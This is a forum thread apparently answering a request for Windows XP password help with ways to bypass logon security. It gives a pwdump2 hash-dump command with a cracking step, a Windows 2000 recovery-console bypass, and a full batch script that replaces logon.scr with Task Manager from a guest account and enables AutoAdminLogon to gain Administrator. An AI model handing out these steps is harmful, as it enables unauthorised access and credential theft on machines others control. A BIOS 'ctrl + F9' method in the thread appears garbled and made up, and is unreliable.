Win XP Pro password help

[lynchknot]

MiniPE has a utility called Password Renew 1.0 - I guessing it's for logon. The only other alternative, if password utilities are not working, is to install a second windows xp and access/transfer your files.

Perhaps these methods may work:

go to bios setup
reset the clock
all the number should be oo:00:
then press ctrl + F9 enter
then u should be seen a screen that asking your new password type 000000 then enter
then type exit_winxp
coold boot then press F8 then select boot with network ....
presto!!! the door is open for you ...

if you want to find out the admins password and dont wanna have to boot in safe mode or cant download a program called pwdump2, just search for it in google or any search engine.
once you have go it unzip it the open command prompt and type c:\(location of pwdump2 folder)\pwdump2.exe > c:\(where ever you can save it)\pass.txt.
once you have the pass file open it in a pass cracker program (you can get a good one from a company called @stake it is a demo but lasts for 15 days
there you have the admins password and if you cant use command prompt go and get a sub cmd program like LC4 is exactly the same but isnt dissabled by admin registry options

get your hands on a windows 2000 boot disk, you can download it for anywere on the net. then just boot your comp with it and bypass all security created by windows xp

* Anyone with a Windows 2000 CD can boot up a Windows XP box and start the Windows 2000 Recovery Console, a troubleshooting program.
* Windows XP then allows the visitor to operate as Administrator without a password, even if the Administrator account has a strong password.
* The visitor can also operate in any of the other user accounts that may be present on the XP machine, even if those accounts have passwords.
* Unbelievably, the visitor can copy files from the hard disk to a floppy disk or other removable media - something even an Administrator is normally prevented from doing when using the Recovery Console.

Login as limited acount, guest etc.. then open notepad.exe found in start/all program files/accessories and type the following:

cd\
cd\windows\system32
mkdir temphack
copy taskmgr.exe temphack\taskmgr.exe
copy logon.scr temphack\logon.scr
del logon.scr
rename taskmgr.exe logon.scr
exit

and then save it as a .bat file, for example x.bat not .txt. Then double click on the files you just saved and it should execute some commands that should replace your screensaver with the task manager. Now logoff your limited acount and wait for 10 to 15 mins, without touching the mouse or keyboard and wait for the screensaver to come on, which shall be the task manager. When it appears click on New Task and in the box type in regedit. This should open up the registry editor. Now go to the hive HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and double click on AutoAdminLogon and set the value to 1 and click ok. Now refresh the registry and close it, and then restart the pc. Once the pc is restarted you should automatically logon as Administrator.
Now you must put your screensaver back to normal by opening notepad.exe and by typing the following:

cd\Windows\system32
del logon.scr
cd\Windows\system32\temphack
copy logon.scr C:\Windows\system32
copy taskmgr.exe C:\Windows\system32
exit

Now save it as restore.bat and execute it. And it should restore your screensaver.

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